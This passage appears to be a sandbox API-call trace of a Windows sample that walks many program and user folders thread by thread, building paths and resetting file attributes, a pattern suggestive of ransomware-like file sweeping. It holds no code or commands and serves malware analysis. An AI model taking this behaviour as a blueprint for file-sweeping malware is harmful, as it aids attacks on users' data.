returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\" [0066.465] wcscat (in: _Dest=0x5ec6628, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*" [0066.465] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x484fe0 [0066.465] FindFirstFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*", lpFindFileData=0x484fe0) Thread: id = 1521 os_tid = 0x1914 [0066.466] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaa) returned 0x45d040 [0066.466] wcscpy (in: _Dest=0x45d040, _Source="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" [0066.466] wcscat (in: _Dest=0x45d040, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\" [0066.466] wcscat (in: _Dest=0x45d040, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*" [0066.466] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x486588 [0066.466] FindFirstFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*", lpFindFileData=0x486588) Thread: id = 1522 os_tid = 0x1918 [0066.467] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xac) returned 0x45d0f8 [0066.467] wcscpy (in: _Dest=0x45d0f8, _Source="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" [0066.467] wcscat (in: _Dest=0x45d0f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\" [0066.467] wcscat (in: _Dest=0x45d0f8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*" [0066.467] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4873f8 [0066.467] FindFirstFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*", lpFindFileData=0x4873f8) Thread: id = 1523 os_tid = 0x191c [0066.467] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x94) returned 0x5ec66c8 [0066.467] wcscpy (in: _Dest=0x5ec66c8, _Source="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" [0066.467] wcscat (in: _Dest=0x5ec66c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\" [0066.467] wcscat (in: _Dest=0x5ec66c8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*" [0066.467] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4878c8 [0066.467] FindFirstFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*", lpFindFileData=0x4878c8) Thread: id = 1524 os_tid = 0x1920 [0066.468] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x94) returned 0x5ec6768 [0066.468] wcscpy (in: _Dest=0x5ec6768, _Source="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0066.468] wcscat (in: _Dest=0x5ec6768, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\" [0066.468] wcscat (in: _Dest=0x5ec6768, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*" [0066.468] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x487660 [0066.468] FindFirstFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*", lpFindFileData=0x487660) Thread: id = 1525 os_tid = 0x1924 [0066.468] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x94) returned 0x5ec6808 [0066.468] wcscpy (in: _Dest=0x5ec6808, _Source="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0066.469] wcscat (in: _Dest=0x5ec6808, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\" [0066.469] wcscat (in: _Dest=0x5ec6808, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*" [0066.469] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4860b8 [0066.469] FindFirstFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*", lpFindFileData=0x4860b8) Thread: id = 1526 os_tid = 0x1928 [0066.469] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaa) returned 0x45d1b0 [0066.469] wcscpy (in: _Dest=0x45d1b0, _Source="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" [0066.469] wcscat (in: _Dest=0x45d1b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\" [0066.469] wcscat (in: _Dest=0x45d1b0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*" [0066.469] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x486320 [0066.469] FindFirstFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*", lpFindFileData=0x486320) Thread: id = 1527 os_tid = 0x192c [0066.470] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\docs.crx" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\docs.crx")) Thread: id = 1528 os_tid = 0x1930 [0066.471] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\drive.crx" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\drive.crx")) Thread: id = 1529 os_tid = 0x1934 [0066.471] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\external_extensions.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\external_extensions.json")) Thread: id = 1530 os_tid = 0x1938 [0066.472] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\gmail.crx" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\gmail.crx")) Thread: id = 1531 os_tid = 0x193c [0066.477] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\youtube.crx" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\youtube.crx")) Thread: id = 1532 os_tid = 0x1940 [0066.477] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst")) returned 0x2020 [0066.478] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst", dwFileAttributes=0x20) Thread: id = 1533 os_tid = 0x1944 [0066.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\faxext.ecf")) Thread: id = 1534 os_tid = 0x1948 [0066.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.xml")) Thread: id = 1535 os_tid = 0x194c [0066.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf")) Thread: id = 1536 os_tid = 0x1950 [0066.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf")) Thread: id = 1537 os_tid = 0x1954 [0066.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf")) Thread: id = 1538 os_tid = 0x1958 [0066.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf")) Thread: id = 1539 os_tid = 0x195c [0066.481] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie add-on site.url")) Thread: id = 1540 os_tid = 0x1960 [0066.482] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url")) Thread: id = 1541 os_tid = 0x1964 [0066.482] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at home.url")) Thread: id = 1542 os_tid = 0x1968 [0066.482] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at work.url")) Thread: id = 1543 os_tid = 0x196c [0066.483] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft store.url")) Thread: id = 1544 os_tid = 0x1970 [0066.483] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\default\\favorites\\links\\web slice gallery.url")) returned 0x20 [0066.484] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url", dwFileAttributes=0x20) Thread: id = 1545 os_tid = 0x1974 [0066.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14565_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14565_.gif")) Thread: id = 1546 os_tid = 0x1978 [0066.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14578_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14578_.gif")) Thread: id = 1547 os_tid = 0x197c [0066.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14579_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14579_.gif")) Thread: id = 1548 os_tid = 0x1980 [0066.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14580_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14580_.gif")) Thread: id = 1549 os_tid = 0x1984 [0066.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14581_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14581_.gif")) Thread: id = 1550 os_tid = 0x1988 [0066.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14582_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14582_.gif")) Thread: id = 1551 os_tid = 0x198c [0066.498] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xac) returned 0x45d268 [0066.498] wcscpy (in: _Dest=0x45d268, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ" [0066.498] wcscat (in: _Dest=0x45d268, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\" [0066.498] wcscat (in: _Dest=0x45d268, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*" [0066.498] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x485718 [0066.498] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*", lpFindFileData=0x485718 | out: lpFindFileData=0x485718*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a65a0 [0066.499] wcscmp (_String1=".", _String2=".") returned 0 [0066.499] FindNextFileW (in: hFindFile=0x4a65a0, lpFindFileData=0x485718 | out: lpFindFileData=0x485718*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.499] wcscmp (_String1="..", _String2=".") returned 1 [0066.499] wcscmp (_String1="..", _String2="..") returned 0 [0066.499] FindNextFileW (in: hFindFile=0x4a65a0, lpFindFileData=0x485718 | out: lpFindFileData=0x485718*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 1 [0066.499] wcscmp (_String1="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", _String2=".") returned 1 [0066.499] wcscmp (_String1="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", _String2="..") returned 1 [0066.499] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x116) returned 0x5efe030 [0066.499] wcscpy (in: _Dest=0x5efe030, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ" [0066.499] wcscat (in: _Dest=0x5efe030, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\" [0066.499] wcscat (in: _Dest=0x5efe030, _Source="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" [0066.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5efe030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1234 [0066.982] FindNextFileW (in: hFindFile=0x4a65a0, lpFindFileData=0x485718 | out: lpFindFileData=0x485718*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 0 [0066.983] FindClose (in: hFindFile=0x4a65a0 | out: hFindFile=0x4a65a0) returned 1 [0066.983] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x485718) returned 1 [0066.983] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45d268) returned 1 [0066.983] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x443800) returned 1 Thread: id = 1552 os_tid = 0x1990 [0066.500] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x5ec7e08 [0066.500] wcscpy (in: _Dest=0x5ec7e08, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" [0066.500] wcscat (in: _Dest=0x5ec7e08, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\" [0066.500] wcscat (in: _Dest=0x5ec7e08, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\*" [0066.500] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4884d0 [0066.500] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\*", lpFindFileData=0x4884d0) Thread: id = 1553 os_tid = 0x1994 [0066.500] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x5ec7e90 [0066.500] wcscpy (in: _Dest=0x5ec7e90, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" [0066.500] wcscat (in: _Dest=0x5ec7e90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0066.500] wcscat (in: _Dest=0x5ec7e90, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\*" [0066.500] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x488738 [0066.500] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\*", lpFindFileData=0x488738) Thread: id = 1554 os_tid = 0x1998 [0066.501] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x5ec7f18 [0066.501] wcscpy (in: _Dest=0x5ec7f18, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" [0066.501] wcscat (in: _Dest=0x5ec7f18, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0066.501] wcscat (in: _Dest=0x5ec7f18, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\*" [0066.501] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x487b30 [0066.501] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\*", lpFindFileData=0x487b30) Thread: id = 1555 os_tid = 0x199c [0066.501] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x5ec7fa0 [0066.501] wcscpy (in: _Dest=0x5ec7fa0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" [0066.501] wcscat (in: _Dest=0x5ec7fa0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0066.501] wcscat (in: _Dest=0x5ec7fa0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\*" [0066.502] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x431478 [0066.502] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\*", lpFindFileData=0x431478) Thread: id = 1556 os_tid = 0x19a0 [0066.502] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x5ec8028 [0066.502] wcscpy (in: _Dest=0x5ec8028, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" [0066.502] wcscat (in: _Dest=0x5ec8028, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0066.502] wcscat (in: _Dest=0x5ec8028, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\*" [0066.502] RtlAllocateHeap (HeapHandle=0x3f0000, 